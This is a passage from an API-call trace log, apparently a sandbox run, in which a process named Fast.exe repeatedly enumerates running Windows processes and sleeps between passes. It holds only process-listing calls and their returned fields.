cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.056] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0203.057] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0203.057] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0203.058] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0203.059] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="runonce.exe")) returned 1 [0203.060] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0203.061] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0203.523] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0203.524] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0203.525] Process32NextW (in: hSnapshot=0xc0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0203.526] CloseHandle (hObject=0xc0) returned 1 [0203.526] Sleep (dwMilliseconds=0x1f4) [0204.740] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0204.744] Process32FirstW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.745] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0204.746] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0204.750] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.751] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0204.752] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.753] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0204.755] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0204.756] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0204.757] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0204.758] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.759] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.760] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.761] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.762] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.764] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0204.765] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.766] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.767] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0204.768] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.769] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0204.770] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0204.771] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0204.772] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0204.774] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="runonce.exe")) returned 1 [0204.775] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0204.776] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0204.776] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0204.777] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0206.267] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0206.269] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0206.270] Process32NextW (in: hSnapshot=0x118, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 0 [0206.271] CloseHandle (hObject=0x118) returned 1 [0206.271] Sleep (dwMilliseconds=0x1f4) [0207.941] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0207.947] Process32FirstW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.948] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0207.949] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0207.950] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.951] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0207.952] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.953] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0207.954] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0207.955] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0207.956] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0207.957] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.959] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.960] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.961] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.962] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.963] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0207.964] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.966] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.967] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0207.968] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.969] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0207.970] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0207.971] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0207.972] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0207.973] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="runonce.exe")) returned 1 [0207.974] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0207.975] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0208.304] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0208.305] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0208.306] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0208.307] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0208.308] Process32NextW (in: hSnapshot=0x168, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 0 [0208.309] CloseHandle (hObject=0x168) returned 1 [0208.309] Sleep (dwMilliseconds=0x1f4) [0211.058] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0211.201] Process32FirstW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.202] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.203] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.204] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.205] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.206] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.207] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.208] Process32NextW (in: hSnapshot=0x1a8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.209] 